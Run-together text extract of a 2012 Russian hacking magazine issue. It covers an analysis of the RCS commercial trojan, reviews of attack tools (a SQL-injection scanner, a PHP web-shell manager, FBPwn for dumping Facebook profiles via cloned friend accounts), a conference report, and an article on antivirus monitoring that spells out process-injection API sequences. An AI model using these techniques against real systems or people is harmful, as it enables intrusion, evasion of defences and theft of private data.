устройство MSH4DEV1 и найтизагруженный драйвер ndisk.sys. Отмечу, что драйвер устанавливаетсятолько в том случае, если на компьютере имеется любаяантивирусная программа.Третий блок — подготовка к шифрованию данных. Для шифрованияданных используется алгоритм AES в режиме CBC с длинойблока и ключа по 128 бит. Вектор инициализации всегда нулевой, асами ключи хранятся в открытом виде в сегменте данных. На этомэтапе для каждого ключа выполняется процедура KeyExpansion, входе которой генерируются раундовые ключи. Результаты ее работыдля каждого ключа помещаются в shared-сегмент. Такой подходзначительно сокращает время, затрачиваемое на шифрование,066ХАКЕР 02 /157/ 2012


Легальный троян: это как?так как он устраняет необходимость каждый раз разворачивать128-битный ключ в набор раундовых ключей.В четвертом блоке инициализируются агенты-процедурысбора пользовательских данных. В процессе инициализациизаполняется массив пар ключ-значение, где ключом являетсяидентификатор агента, а значением — структура с указателями нафункции первоначальной инициализации, функцию, код которойбудет выполняться в другом процессе, и процедуру обработки полученныхпользовательских данных. При этом для каждого агентатакже вызывается функция первоначальной инициализации. Входе инициализации агентов дешифруется файл с настройками иинициализируются только те сборщики данных, которые указаныв конфиге.В пятом блоке запускаются удаленные потоки, собирающиепользовательские данные. В запуске принимают участие другиеэкспортируемые функции: HFF1, HFF2, HFF3. После создаютсялокальные потоки, которые получают собранные пользовательскиеданные и обрабатывают их. На этом процедура начальнойинициализации завершается, и указанный инициализационныйпоток погружается в бесконечный цикл (while(true){ Sleep(1000); }).В ходе инициализации троян также проверяет, не зараженали уже система. Алгоритм проверки на заражение достаточнопрост: троян ищет объекты FileMapping с определенными именами(KMS1..., KMS2..., KMS3...), и если находит, то система считаетсязараженной и процесс инициализации прекращается.Следует сказать несколько слов и о вызове системных функций.ANDROID-ВЕРСИЯ RCSAndroid-версия описываемого трояна представляет собойобыкновенный apk-файл, который при установке запрашиваетмаксимальное количество разрешений, что вполне можетнасторожить даже самых неопытных пользователей. Мне неудалось полностью декомпилировать apk в Java-сценарий припомощи ApkManager, так как код трояна слегка обфусцирован.Однако большая его часть вполне успешно восстанавливается,правда, без имен классов, переменных и т. д. ApkManagerоставляет в виде опкодов невосстановленные участки кодаи оборачивает их в комментарии, что позволяет почерпнутьдополнительную информацию о трояне. При разархивированииapk-файла сразу бросается в глаза, что в этой версии используетсяnative-библиотека (so), а также имеется зашифрованный файл сресурсами. Оказывается, этот файл также шифруется по алгоритмуAES в режиме CBC. При этом последний блок дополняется посхеме PKCS#5 и, как и прежде, используется нулевой векторинициализации. В данном случае ключ хранится не в открытомвиде, а вырабатывается из фиксированной строки при помощимногократного вычисления хеш-функции. В расшифрованномфайле с ресурсами находится множество строковых пар ключзначение,позволяющих получить информацию об используемыхкриптографических алгоритмах.Дальнейший анализ показал, что при запуске троян пытаетсяпроэксплуатировать какую-нибудь уязвимость в Android иполучить права root (на моем кастомном билде ему это сделатьне удалось). RCS также собирает пользовательские данные (SMS,MMS, контакты) и информацию о сети сотовой связи, периодическивключает микрофон телефона и записывает разговоры вокруги передает всё это добро на удаленный сервер. В диспетчереприложений малварь пытается замаскироваться под com.android.service, а при работе ест много памяти и сильно расходует батарею.Вообще, здесь следует отдать должное производителям Dr.WebLight — антивируса для Android, так как он спокойно палит этоттроян и выдает пользователю соответствующее предупреждение.Все функции WinAPI вызываются по адресам, которые выдаетGetProcAddress. Имена всех вызываемых функций зашифрованышифром простой замены. Эти имена хранятся в сегменте данных ирасшифровываются каждый раз непосредственно перед использованием.Версия трояна для 64-битных систем в принципе ничем неотличается от версии под x86. В ней используется тот же самыйосновной модуль, однако после запуска троян проверяет, не являетсяли система 64-битной, и если является, то в игру вступают dll идрайвер, написанные специально под x64.РАБОТА АГЕНТАВ большинстве случаев код, внедренный в удаленный процесс, делаетодно и то же: подгружает в адресное пространство своего процессаdll основного модуля. После этого открываются FileMapping’и(функция HFF4), а на определенные функции устанавливаются хуки(функция HFF3). По завершении этих процедур dll выгружается изадресного пространства процесса, а поток впадает в бесконечныйцикл (засыпает на одну секунду, просыпается и засыпает вновь).При установке хуков проверяется имя текущего процесса. Еслионо не попадает в определенный список, то устанавливаются толькоте хуки, которые направлены на маскировку трояна в системе.Вообще, этот зловред распознает следующие процессы:pcts*.exek7*.exeavk.exeadmin.exebgscan.exeavp.exepavark.exerku*.exesvv.exeIceSword.exegmer.exeavgscanx.exeRootkitRevealer.exeavscan.exeavgarkt.exesargui.exeuncrackme.exehiddenfinder.exehackmon.exeTaskMan.exeoutlook.exeskypepm.exeskype.exechrome.exefirefox.exeРаспознавание процессов осуществляется только по именам,поэтому, переименовав RootkitRevealer.exe в ololo.exe, мы сможемлегко обнаружить троян. :-)ДЛЯ ПОИСКА АНТИВИРУСОВТРОЯН ВСЕГДА ИСПОЛЬЗУЕТОДИН АЛГОРИТМ: ПЕРЕБИРАЕТЗАГРУЖЕННЫЕ В СИСТЕМУДРАЙВЕРА И ИЩЕТ НУЖНЫЙПО ОПРЕДЕЛЕННОМУ ИМЕНИХАКЕР 02 /157/ 2012 067


ВЗЛОМРекламная брошюра RCSПроцессы взаимодействуют друг с другом посредством открытыхфайл-маппингов. На адресное пространство процессамаппится не какой-то определенный файл, а участок свопа.Маппинг с префиксом имени KMS1 имеет маленький размер (порядка20 Кб) и служит для управления агентами. Каждый агентпериодически заглядывает в DWORD по адресу «начало_маппинга»+ «идентификатор_агента» и считывает оттуда определеннуюкоманду основного модуля. Второй маппинг служит для передачиосновному модулю собранных данных и имеет размер порядка 300Кб. Данные в виде картинки переводятся в формат JPEG, голосовыеданные кодируются кодеком speex (CrThBBBT.7ar). Обработаннаяинформация шифруется с помощью алгоритма AES в режимеCBC (с нулевым вектором инициализации), сохраняется в текущейдиректории и удаляется после передачи на сервер. Имена сохраняемыхв директории файлов представляют собой зашифрованнуюпростой заменой строку вида LOG_XXXX_YYYYYYYYY.log, гдеXXXX — идентификатор агента, а Y...Y — случайные числа. Данныепередаются по протоколу HTTP в теле POST-запроса. Какая-либоаутентификация как на сервере, так и на клиенте отсутствует,поэтому, зареверсив этот простенький алгоритм передачи, можноздорово заспамить удаленный сервер и попытаться угнать егоклиенты. :-)Отчет Dr.Web Light об обнаруженных вирусахОтдельный агент, постоянно сканирующий файловую системукомпьютера, подготавливает для передачи файлы с определеннымирасширениями. Следует упомянуть и еще об одном потоке,который постоянно сканирует список текущих процессов, чтобызаражать новые процессы. Троян запускает новые процессы накомпьютере от имени explorer.exe за счет инжекции кода в Эксплорер.Зловред использует крайне забавный способ для мониторингаактивности Firefox: загружает из интернета библиотеки mozcrt19.dll, softokn3.dll и mozsqlite3.dll, которые просто посылают запросык SQLite-базам браузера. Подобным образом троян работает и снекоторыми другими программами.РЕАКЦИЯ АНТИВИРУСАВ качестве эксперимента я установил «Антивирус Касперского»и настроил его на максимальное информирование. При загрузкесистемы АВ выдает сообщение о запуске dll как приложения ипопытке получения доступа к защищенному хранилищу паролей.В этом сообщении, прямо скажем, нет ничего информативного, чтораскрывало бы суть вирусной активности на компьютере (если бы ябыл обыкновенным пользователем, то, наверное, вообще никак нанего не прореагировал). При этом журнал антивируса начинает пестретьсообщениями о разрешенном внедрении кода в стороннийпроцесс, о разрешенном доступе к хранилищу паролей и так далее.В общем, никакой пользы для конечного пользователя нет. Единственныйположительный момент состоит в том, что «Касперский»видит папку с трояном, однако она не вызывает у него никакихподозрений, то есть заметить ее довольно сложно.SUMMARYВообще, видео на сайте производителя испугало меня больше, чемсам троян. Его несложно обнаружить и нейтрализовать, к тому жепосле знакомства с современными средствами создания ботнетовот расковырянной коммерческой малвари остаются весьмапротиворечивые впечатления. Версия для Android вообще невыдерживает критики — она может испортить жизнь только темпользователям, которые вообще не следят за своим смартфоном,устанавливают приложения из неизвестных источников и безразличноотносятся к количеству подтверждений, запрашиваемыхприложениями. На примере этого трояна хорошо видно, что технологиикоммерсантов отстают от технологий их криминальных коллег— создателей Zeus, TDSS, SpyEye и других подобных вещей. z068ХАКЕР 02 /157/ 2012


coding


ВЗЛОММаг (icq 884888, http://snipper.ru)X-ToolsСОФТ ДЛЯ ВЗЛОМА И АНАЛИЗА БЕЗОПАСНОСТИАвтор:Michael HendrickxURL:michaelhendrickx.com/lilithСистема:*nix/winАвтор:АнонимURL:bit.ly/sw1I4wСистема:*nix/winАвтор:David RookURL:agnitiotool.sourceforge.netСистема:Windows1 2 3ДЕВУШКА ПО ИМЕНИ LILITHLiLith — это перловый сканер и инжекторHTTP-форм. Тулза анализирует веб-страницуна наличие тегов , а затем теститих на SQL-инъекции. LiLith работает почтитак же, как обыкновенный поисковый паук,только с небольшим хакерским уклоном: онаинжектирует в формы различные спецсимволыс определенными значениями, а затеманализирует ответы веб-сервера. Основныеособенности и функционал утилиты:• малое количество ложных срабатываний;• поддержка ColdFusion;• возможность передачи скриптам дополнительнойинфы: кукисы, юзер-агент и т.д.;• рекурсивный сканер файлов и директорий.В простейшем случае сканер запускается так:./lilith.pl www.target.comПри этом есть ряд полезных параметров:• d — директория или файл для начала скана;• u — данные для basic authentication;• p — прокси;• T — интервал между запросами;• f — запись расширенного лога в файл;• r — рекурсивный краулинг;• A — вывод на экран всех HTTP-кодов.Остальные параметры, а также подробный хелпна английском языке ты найдешь на официальномсайте сканера.SHELLFY: УДОБНОЕ УПРАВЛЕНИЕШЕЛЛАМИЕсли ты хочешь удобно работать с множествомшеллов, то вряд ли найдешь средстволучше Shellfy. Основная идея этой системы,написанной на Perl, заключается в централизациивсего и вся. Shellfy состоит из двухчастей: клиента и сервера. Клиентская частьпредставляет из себя обычный PHP-шелл,который необходимо сохранить на удаленномсервере (точнее, много шеллов, которые нужносохранить на разных серверах), а сервернаячасть — это, собственно, сам Perl'овый скриптуправления шеллами. В основном окне программысодержится шесть вкладок, названиякоторых говорят сами за себя:• «Шеллы» (Shells);• «Домены» (Domains);• «Статистика» (Stats);• «Обновление» (Update);• «Настройки» (Settings);• «Прокси» (Proxy).Также имеется дополнительный раздел подназванием «Терминал», который отвечаетза общение с шеллами на удалённых серверах.Начать работу со скриптом очень просто: залейвсе содержимое архива в директорию cgi-binи запусти скрипт setup.pl. Он проведет всенеобходимые манипуляции автоматически.Подробнейший мануал по работе с Shellfy и еенастройке можно найти в папке с программой.СТАТИЧЕСКИЙ АНАЛИЗ КОДАВМЕСТЕ С AGNITIOИБ-сообществу известно великое множествопрограмм для статического анализа исходниковна критические ошибки. Тулза Agnitioвыгодно выделяется среди них открытостьюсорцов и универсальностью. Шутка ли, анализаторподдерживает большинство популярныхязыков программирования: ASP, ASP.net, C#,Java, JavaScript, Perl, Php, Python, Ruby, VB.net,а также XML.Перечислю лишь некоторые особенностии функциональные возможности этой замечательнойпрограммы:• возможность командной работы;• удобнейшие профили для ручного анализакода;• удобный профиль исследуемого приложениядля анализа его исходников;• подробные отчеты, отсортированныепо имени исследователя, имени приложенияи многим другим параметрам;• список дел для будущего анализа кода;• автоматический статический анализ кода;• встроенный список наводящих вопросов,предназначенных для помощи в анализекода (так называемый чек-лист).Огромным плюсом проекта также являютсяего частые обновления. Как видишь, Agnitioвполне может пригодиться любому профессиональномупентестеру (или целой командепрофессионалов) в его каждодневной работе.070ХАКЕР 02 /157/ 2012


X-ToolsАвтор:Corey GoldbergURL:www.webinject.orgСистема:*nix/winПЕНТЕСТ HTTP-ИНТЕРФЕЙСОВWebInject — это бесплатная утилита,предназначенная для автоматическоготестирования веб-приложенийи веб-сервисов. Она подходиткак для тестирования отдельныхсистемных компонентов с HTTPинтерфейсом(JSP, ASP, CGI, PHP,AJAX, Servlets, HTML Forms, XML/SOAP Web Services, REST и т. д.),так и для создания целого наборатестов, с помощью которых можнособирать статистику и мониторитьработу системы почти в реальномвремени (к примеру, отслеживатьвремя отклика веб-приложений).Так как в качестве API для созданиятестов выступает язык XML, то с настройкойсможет справиться любойпрограммист. В XML-формате генерируютсятакже и отчеты по пентестам,а значит, их можно успешноиспользовать в любой совместимойвнешней программе.Несомненным плюсом прогиявляется тот факт, что она написанана Perl и может работать практическина любой платформе. Однакона сегодняшний день экзешникWebInject доступен пока толькодля Windows. Для запуска утилитыв другой ОС тебе понадобится рабочийинтерпретатор Perl.Автор:Erik HjelmvikURL:bit.ly/egH2prСистема:WindowsАвтор:Edge-SecurityURL:bit.ly/OA9vIСистема:*nix/winАвтор:Ahmed SaafanURL:code.google.com/p/fbpwnСистема:*nix/win4 5 6АНАЛИЗАТОР ПАКЕТОВNETWORKMINERЗамечательная утилита NetworkMiner являетсяодним из лучших на сегодняшний деньинструментов для анализа перехваченныхданных, которые сохранены в формате PCAP.Утилита пассивно анализирует дамп с трафиком,безошибочно определяет участников обменасетевыми данными и распознает операционныесистемы, установленные на каждомхосте, по размеру окна, времени жизни пакетаи уникальному набору флагов. NetworkMinerтакже выдает структурированную информациюоб открытых сессиях, активных портах и прочейинфраструктуре сети, снимает баннерыразличных демонов.Одной из самых важных фич программыявляется возможность извлекать файлы и сертификаты,передаваемые по сети. Эта функцияможет быть использована для перехвата и сохранениявсевозможных аудио- и видеофайлов.Поддерживаются протоколы FTP, HTTPи SMB. Для них доступно также извлечениепользовательских данных (логинов и паролей).Программу можно использовать и для сниффингаи парсинга трафика WLAN (IEEE 802.11).К слову, «всего» за 500 евро разработчикпредлагает и платную версию своего творения,с ног до головы увешанную всяческимидополнительными плюшками. Но в большинствеслучаев нам вполне хватит и бесплатнойверсии NetworkMiner.СОБИРАЕМ СУБДОМЕНЫИ АДРЕСА E-MAILЕсли тебя заинтересовал какой-либо сайт,то первым делом ты наверняка попытаешьсяраздобыть максимум информации о нем. К этойинформации относятся связанные e-mailадреса,имена субдоменов и т.д. Конечно,различные хакерские комбайны вроде AcunetixWVS включают в себя соответствующие модули,но применять их для этой цели — все равночто стрелять из пушки по воробьям. В общем,советую тебе использовать замечательнуюутилиту theHarvester, продемонстрированнуюна последней конференции BlackHat. Этотпитоновский скрипт собирает всю вышеперечисленнуюинформацию из всех доступныхпубличных источников, например поисковикови серверов с ключами PGP. Функциональныевозможности и особенности утилиты:• генерация отчетов в XML и HTML;• верификация найденных виртуальныххостов и субдоменов;• DNS reverse lookup;• поиск информации о пользователях и хостахв Google, Bing, Linkedin и Exalead.Пример команды для поиска всех e-mail'ов,связанных с доменом microsoft.com в первыхпятистах результатах из выдачи Гугла:./theharvester.py -d microsoft.com \-l 500 -b googleПОИМЕЙ FACEBOOK!Многие люди выкладывают в социальных сетяхподробнейшую информацию о себе. И совершаютогромнейшую ошибку! Практически любойчеловек при должном старании может узнатьо таких ребятах почти все! В качестве примераодного из средств для раскрытия персональныхданных приведу тулзу FBPwn — открытоекросс-платформенное Java-приложение, предназначенноедля дампа профилей пользователейFacebook. Прога отсылает списку заданныхпользователей запросы на добавление в друзьяи ждет уведомлений о подтверждении. Кактолько жертва одобряет запрос, приложениесохраняет все фотографии, список друзейи прочую информацию из профиля жертвы.Типичный сценарий работы FBPwn выглядитследующим образом:1. Со страницы жертвы собирается вся доступнаяинформация.2. Затем запускается friending-плагин, добавляющийв друзья всех друзей жертвы.3. Далее в дело вступает clonning-плагин,клонирующий имя и фото одного из друзейжертвы.4. Отсылается упомянутый выше запрос на добавлениев список друзей.5. После подтверждения запроса парсятся вседоступные страницы.Через несколько минут жертва, возможно, удалиттвой фейковый аккаунт из друзей, но будетуже поздно :).ХАКЕР 02 /157/ 2012 071


СЦЕНАZeroNights2011ЗАПОЗДАЛЫЙ ОТЧЕТС ХАКЕРСКОЙ КОНФЕРЕНЦИИВ САНКТ-ПЕТЕРБУРГЕДвадцать восемь технических докладов, десять часов хакерской атмосферыи non-stop общения, 11 технических конкурсов, приз $10 000от Яндекса за найденные уязвимости, 0day-шоу с демонстрацией ещенигде не опубликованных сплоитов — это лишь малая часть того, чтопроисходило в ноябре на хакерской конференции ZeroNights 2011.ПЕРВАЯ КОНФЕРЕНЦИЯЧерт, кто придумал проводить конференциюв конце ноября в Питере? :) Это худшее времядля поездки в северную столицу. Но когдаречь идет о новой хакерской конференции,проводящейся впервые, то тут уже не до раздумий.В общем, в Питер мы выдвинулисьдоброй половиной редакции. На площадке мыпервым делом увидели сотни молодых людейс ноутбуками, расхватывающих свои бейджикии внимательно изучающих программу двух треков,на которых вот-вот должны были начатьсядоклады. Вот и куча знакомых лиц — нашихавторов и просто друзей, которые работаютв самых разных компаниях и занимаются информационнойбезопасностью. Тут сразу сталоясно, что это тебе не очередная скучная конфа,которые сотнями проходят каждый год, — этонастоящая хакерская тусовка. Можно сказать,клуб друзей, в котором тебя ждут доклады,конкурсы и куча общения.Дима Частухин рассказывал про взлом интернет-киосков иплатежных терминаловДОКЛАДЫНикакие слайды, никакое видео и даже отчетыучастников не смогут передадать ту атмосферу,которая царит во время выступлений на хакерскихконфах. Тут надо быть! Где еще тебепокажут реальные уязвимости в банковскихсистемах, повеселят live-видео со взломомразличных платежных терминалов и киосков,докажут, что данные для промышленныхконтроллеров в SCADA-системах можно оченьпросто проспуфить, расскажут изнутри, чтосейчас происходит в мире киберпреступниковв Азии? Иной раз думаешь: «Откуда же взялсяэтот монстр, который вот это все расковыряли сейчас рассказывает?», а потом подходишьк нему и понимаешь — человек, не киборг,просто очень умный :). На конференции мынесколько раз ловили себя на мысли, чтоодного дня для такого ивента мало. Программанастолько плотная и насыщенная, что иногдане знаешь, на какой из параллельных треков072ХАКЕР 02 /157/ 2011


ZeroNights 2011публикациям в «Хакере») подвел итоги поискауязвимостей в Яндексе, проводившегося в течениемесяца. Победителем стал ВладимирВоронцов из ONsec, получивший в качествеприза чек на $5 000. Отличным завершениемпрограммы стало 0day-шоу, во время которогодокладчики демонстрировали сплоиты, ещене появившиеся в паблике. Где еще ты такоеувидишь?Федор Ярочкин рассказывает про киберпреступность в Китаеидти: и там и там интересные доклады. Оченьпорадовал формат FastTrack: каждому докладчикувыделяется всего 15–20 минут для выступления.В результате за час ты успеваешьпрослушать самые разные доклады от разныхлюдей, а потом поймать их и узнать подробности.Суперплотно, суперинформативно!Денис Баранов, который выиграл конкурсза лучшую майку, на которой был скриншотс XSS, найденной на сайте ZeroNights :). Всеждали вечера, когда Антон «toxa» Карпов (тынаверняка его помнишь по многочисленнымRESPECT!2011 год, безусловно, удался на хакерскиеконференции. Если раньше была одна лишьнебольшая секция по безопасности на ChaosConstruction (тоже в Питере), то в этомгоду у нас появилось сразу две настоящиехакерские конференции: PHD и ZeroNights.С докладами мирового уровня, иностраннымиспикерами и, что, возможно, важнее всего,невероятной хакерской атмосферой, в которуюты сможешь окунуться уже в этом году. Пропуститьэти конференции будет самой большойошибкой. Спасибо парням, которые устроилидня нас этот праздник: Саше Полякову, АлексеюСинцову, Диме Евдокимову, Леше Тюрину,Илье Медведовскому и всем причастным,которых мы просто не знаем :). zКОНКУРСЫ И ДЕМКИВажная часть любой конфы — это конкурсы.Конкурс Lockpicking Village по взлому замковтрадиционно привлек особое внимание:десятки людей толпились вокруг стендав течение всего дня. Обнаружить уязвимостьв промышленном контроллере, решитьcrackme от антивирусного вендора, найтии проэксплуатировать баг в SAP — конкурсыбыли на любой вкус и цвет. Самые крутыеджедаи могли попробовать свои силы в турнире«Царь горы», где предлагалось любымиспособами получить доступ к уязвимомусерверу и удерживать его как можно дольше,отражая атаки других участников. Этоттурнир выиграла команда [RDOT]. ПорадовалНайди хоть одного зевающего хакера — все внимательно слушают! :)ПЯТЬ ЛУЧШИХ ДОКЛАДОВ ПО ВЕРСИИ ][«Анализ незаконнойинтернет-деятельности»Невероятно харизматичныйФедор Ярочкин специальноприлетел с Тайваня,чтобы поделиться своимопытом в области анализаинцидентов компьютернойбезопасности. В результатемы узнали много новогоо целевых атаках (APT)и разных инцидентах, а такжео киберпреступностив Китае.«Где лежат деньги?»Леша Синцов расказало множестве 0dayуязвимостейв реальныхсистемах онлайнбанкинга,об общих ошибкахвсех разработчиковотечественных популярныхпродуктов, о том,как за пять минут обойтитокены, а также о своемопыте в проведении тестана проникновение в реальныебанковские системы.«Уязвимости расщепленияHTTP-ответа, внедрениязаголовков и заражениякеша: снова в строю»Доклад посвященновым исследованиямуязвимостей расщепленияHTTP-ответа, внедрениязаголовков и заражениякеша. Владимир Воронцоврассказал о них на примересовременных браузерови веб-приложений и показалдемки.«Практические атакина интернет-киоски и платёжныетерминалы»Алексей Поляков и ДимаЧастухин часто колесятпо миру, посещая разныеконференции. Встретивочередной терминал иликиоск, они пробуют обойтиограничения, налагаемыена пользователя. Этот живойдоклад был полон видеодемокиз самых разныхуголков нашей планеты :).«Опасности 3G и LTE:от радио к ядру сети и протоколам»Филипп Ланглуа показалновые технологии по защитеи атаке сетей 3G и LTE.Он продемонстрировална примерах, как внешнийатакующий может воздействоватьна телекоммуникационныекомпании,операторов мобильнойсвязи и SS7-провайдеров.ХАКЕР 02 /157/ 2011 073


MALWAREЕвгений Дроботун (201074@mail.ru)БУРИМАНТИВИРУС.Еще глубже!WWWПро функцииуведомленияи функции обратноговызова (callbackфункции)Windowsможно почитатьздесь: www.sww-it.ru/2010-02-21/362.DVDНа диске можнонайти утилиту Blacklightот F-Secure,описанную во врезке«Брутфорс PID».РАССМАТРИВАЕМСПОСОБЫМОНИТОРИНГАСОБЫТИЙИ ПРОАКТИВНОЙЗАЩИТЫ В РАЗНЫХАНТИВИРУСНЫХПРОГРАММАХСегодня мы продолжим изучение способовпротиводействия антивирусам и посмотрим,чем еще, кроме компонентов для сигнатурногосканирования и анализа файлов, вооружаютсвои творения создатели антивирусныхпрограмм.Наша любимая схема074ХАКЕР 02 /157/ 2012


Бурим антивирус. Еще глубже!Рисунок 1. Простейший пример нейросети, анализирующей поведение системыРисунок 2. События, контролируемые проактивной защитой «Антивируса Касперского»)от мы и добрались до таких понятий,как HIPS (Host Intrusion PreventionВSystem), «проактивное детектирование»,«поведенческий анализ», «анализ,основанный на мониторинге системных событий»…Эти понятия на самом деле вносятдаже меньше ясности, чем какой-нибудь«эвристический анализ». Они могут подразумеватьочень широкий спектр технологий и,в общем-то, никак не помогают понять, какаяиз них используется в конкретном продукте.Под этими понятиями может скрываться,например, примитивная защита несколькихключей реестра, или уведомления о попыткахдоступа к определенным директориям, илианализ поведения программ, или какая-либодругая технология, основанная на мониторингесистемных событий. Если мы снова обратимсяк нашей любимой двухкомпонентной схеме,то увидим, что технический компонент — этомониторинг системных событий или анализповедения системы, а аналитический можетбыть каким угодно, от пресечения единичныхподозрительных событий до сложного анализацепочек программных действий (то есть та жеэвристика с набором правил и весовыми коэффициентамиопасности или, может быть, дажечто-то на основе нейросетей (смотри рисунок 1и соответствующую врезку)).В первую очередь нас будет интересоватьтехнический компонент проактивной защиты,поскольку принципы анализа событий схожис принципами анализа, описанными в прошлойстатье, а отличия, если они есть, мы рассмотримпозже. Итак, приступим.ЧТО БУДЕМ МОНИТОРИТЬ?Для различных вредоносных программ характернодовольно много событий, причем ихсписок неуклонно увеличивается по мере раз-вития творческих способностей вирусописателей.Общую картину можно увидеть, к примеру,на рисунке 2. Здесь показаны события (вернее,даже совокупности событий), на которыереагирует «Антивирус Касперского». Конечно,некоторые пункты (а именно «Активность,характерная для P2P-червей», «Активность,характерная для троянских программ» и «Активность,характерная для червей») описаныочень уж обобщенно, и сейчас мы попытаемсявсё это дело немного конкретизировать. Итак,в первую оч ередь речь идет о сетевой активности:подавляющее большинство нечистиобязательно пытается или что-то передатьв сеть (пароли, явки, номера кредиток и т. д.)или, наоборот, что-то получить из сети (загрузитьосновную часть малвари или обновления,принять какие-нибудь команды управления,да мало ли еще что). Многие вредоносныепрограммы пытаются проинжектить свой кодБРУТФОРС PIDРисунок 3. Так McAfee Antivirus Plus пытается контролировать изменения в реестреНекоторые утилиты (например, Blacklightот F-Secure или SpyDLLRemover)используют для поиска скрытых процессовбрутфорс идентификаторов процессов (BPID).Метод достаточно прост и в то же времяэффективен. Такие утилиты открываютпроцессы и перебирают все возможные PID.К примеру, Blacklight в цикле пытается вызватьOpenProcess для всех возможных значенийидентификатора процесса из диапазонаот 0x0 до 0x4E1C. Таким образом, можнополучить список процессов, присутствующихв системе. Затем вызывается функция CreateToolhelp32Snapshot, которая выдает второйсписок процессов. Потом два эти спискасравниваются: если процесс присутствуетв первом и отсутствует во втором, то онсчитается скрытым.ХАКЕР 02 /157/ 2012 075


MALWAREРисунок 4. Контроль за изменениями в реестре с помощью RegNotifyChangeKeyValue. Выше красной пунктирной линиипоказана реализация в McAfee, ниже линии — в «Касперском». Как говорится, найди отличияустанавливает в сигнальное состояние заранеесозданный объект типа Event (событие),и антивирусу остается только отследить этособытие и принять соответствующие меры.Помимо RegNotifyChangeKeyValue, в недрахWindows прячется еще одна небольшаяфункция CmRegisterCallBackEx, с помощьюкоторой также можно контролировать реестр.Эта функция устанавливает так называемуюcallback-функцию (функцию уведомления), котораявызывается при изменениях в заранееопределенных ветках реестра. Эта функция,в отличие от RegNotifyChangeKeyValue,может использоваться только в режиме ядра,и поэтому такой контроль за реестром осуществляетсяс помощью драйвера (к примеру,драйвер «Антивируса Касперского 2010» klif.sys импортирует функцию именно для этойцели (рисунок 5)). Как правило, антивирусыредко довольствуются только одним способомконтроля реестра (особенно первым,который не так уж и надежен, тем более еслиперехват нужных функций делать в юзермоде)и используют комбинацию двух (McAfee,например, помимо перехвата используетRegNotifyChangeKeyValue), а то и всех трехспособов.в доверенный процесс (обычно это explorer.exe или svchost.exe), получить привилегииотладчика и изменить системные компоненты(например, пропатчить ядро ОС в своих интересах)— в общем, как можно глубже внедритьсяв систему.Думаю, с отслеживаемыми событиями всеясно, поэтому пойдем дальше.СЛЕДИМ ЗА РЕЕСТРОМЛюбая уважающая себя малварь при заражениисистемы должна позаботиться о своемповторном запуске после перезагрузки. Онаможет выбрать для этого множество доступныхмест, начиная от папки «Автозагрузка» и заканчиваякучей ключей автозапуска в реестре.Чаще всего, конечно же, малварь модифицируетключи автозагрузки в реестре.Некоторые вредоносные программы такжепытаются изменить или дополнить какие-либодругие ключи реестра (к примеру, прописатьсвою DLL, изменить параметры InternetExplorer’a или установленной в системе антивируснойпрограммы и т. д.). В общем, делаемвывод: за реестром надо следить, и следитьтщательно. И все, даже самые захудалые антивирусныепрограммы, гордо несущие в своемсоставе компонент проактивной защиты, простообязаны это делать.Самые распространенные способы контроляизменений в реестре — это перехватAPI-функций работы с реестром или использованиеспециализированных функцийконтроля над реестром. Что касается первогоспособа, то для контроля над реестром обычнодостаточно перехватить функции RegOpenKey,RegCreateKey, RegDeleteKey из advapi32.dll или более низкоуровневые NtOpenKey,NtCreateKey, NtDeleteKey и т. п. На рисунке 3показано, как антивирус от McAfee перехватываетфункции ядра для работы с реестром.Следующий способ заключается в использованииспециальной API-функцииRegNotifyChangeKeyValue. Создатели Windowsобучили эту функцию извещать программу,которая ее вызвала, об изменении определенногоключа реестра. Ее используютмногие антивирусные программы (рисунок4). В случае изменения реестра функцияРисунок 5. Функция CmRegisterCallBackEx в драйвере klif.sys из «АнтивирусаКасперского 2010»ИНЖЕКТ В ЧУЖИЕ ПРОЦЕССЫИнжект в память чужого процесса можносчитать классическим методом, которыйиспользуют современные вирусы, так как онпозволяет реализовывать вредоносные функциипод доверенным процессом. Очень частов роли этого доверенного процесса выступаетexplorer.exe, чуть реже — svchost.exe.Прежде чем внедряться в нужный процесс,его необходимо найти. Если речь идетоб explorer.exe, то самый простой и удобныйспособ для малвари — это задействовать076ХАКЕР 02 /157/ 2012


Бурим антивирус. Еще глубже!Рисунок 6. Перехват NtUserFindWindowEx «Антивирусом Касперского»FindWindow (или FindWindowEx) с идентификаторомокна progman. FindWindow, в своюочередь, базируется на NtUserFindWindowEx,и, перехватив ее (рисунок 6), можно отследить,какая программа ищет процесс explorer.exe.Существует как минимум два очень распространенныхспособа внедрения постороннегокода в адресное пространство какоголибопроцесса. Первый способ: получаемдескриптор процесса посредством вызовафункции OpenProcess, выделяем в нем нужныйкусочек памяти с атрибутом PAGE_EXECUTE_READWRITE (API-функция VirtualAllocEx),копируем туда все, что нам нужно, добываемдескриптор основного потока, замораживаемего (SuspendThread), получаем и запоминаемрегистровый контекст (GetThreadContext),пишем в указатель команд адрес началавредоносного кода, обновляем регистровыйконтекст (SetThreadContext) и размораживаемпоток (ResumeThread), передавая управлениена внедренный код, который после выполнениязадуманного восстанавливает оригинальныйуказатель команд.Второй способ: получаем дескрипторпроцесса посредством OpenProcess, вы-Рисунок 7. Контроль над операциями с памятью и созданием потоков в антивирусе DrWebделяем в нем память так же, как и в первомслучае(VirtualAllocEx), копируем туда внедряемыйкод через WriteProcessMemory и создаемудаленный поток с помощью API-функцииCreateRemoteThread.Конечно, увидев последовательностивызовов OpenProcess\VirtualAllocEx\WriteProcessMemory\SuspendThread\GetThreadContext\ SetThreadContext\ResumeThread или OpenProcess\VirtualAllocEx\НЕЙРОСЕТИ НА АНТИВИРУСНОЙ СЛУЖБЕИскусственная нейронная сеть представляет собой математическуюмодель нейронной сети головного мозга человека (или какого-нибудьдругого животного). Она состоит из простейших элементов — нейронов,которые связаны между собой (рисунок 1). Каждый нейрон выполняетнесложную операцию: на основе поступающих от других нейроновсигналов, которые представлены в виде чисел от 0 до 1, и их весовыхкоэффициентов вычисляет выходной сигнал. Весовые коэффициенты,или веса связей между нейронами, представляют собой параметры,определяющие работу нейронной сети. Нейроны группируютсяв последовательность слоев, входные сигналы поступают на первый(входной) слой и последовательно проходят все слои до последнего(выходного). В нашем примере в качестве входных сигналовиспользуются события, происходящие в системе (количество входовравно количеству анализируемых событий, при этом на каждый входподается 1, если событие произошло, и 0, если события не было), каждыйвыход нейросети соответствует определенному типу вредоноснойпрограммы (значения на выходах могут меняться от 0 до 1, а в качестверешения выбирается тот выход, на котором в итоге зафиксировано самоебольшое значение).Обучение нейронной сети может проводиться с учителем (на основеуже решенных задач) или без него (на основе реакции среды).Обучение с учителем (которое больше подходит для нашего случая)происходит при 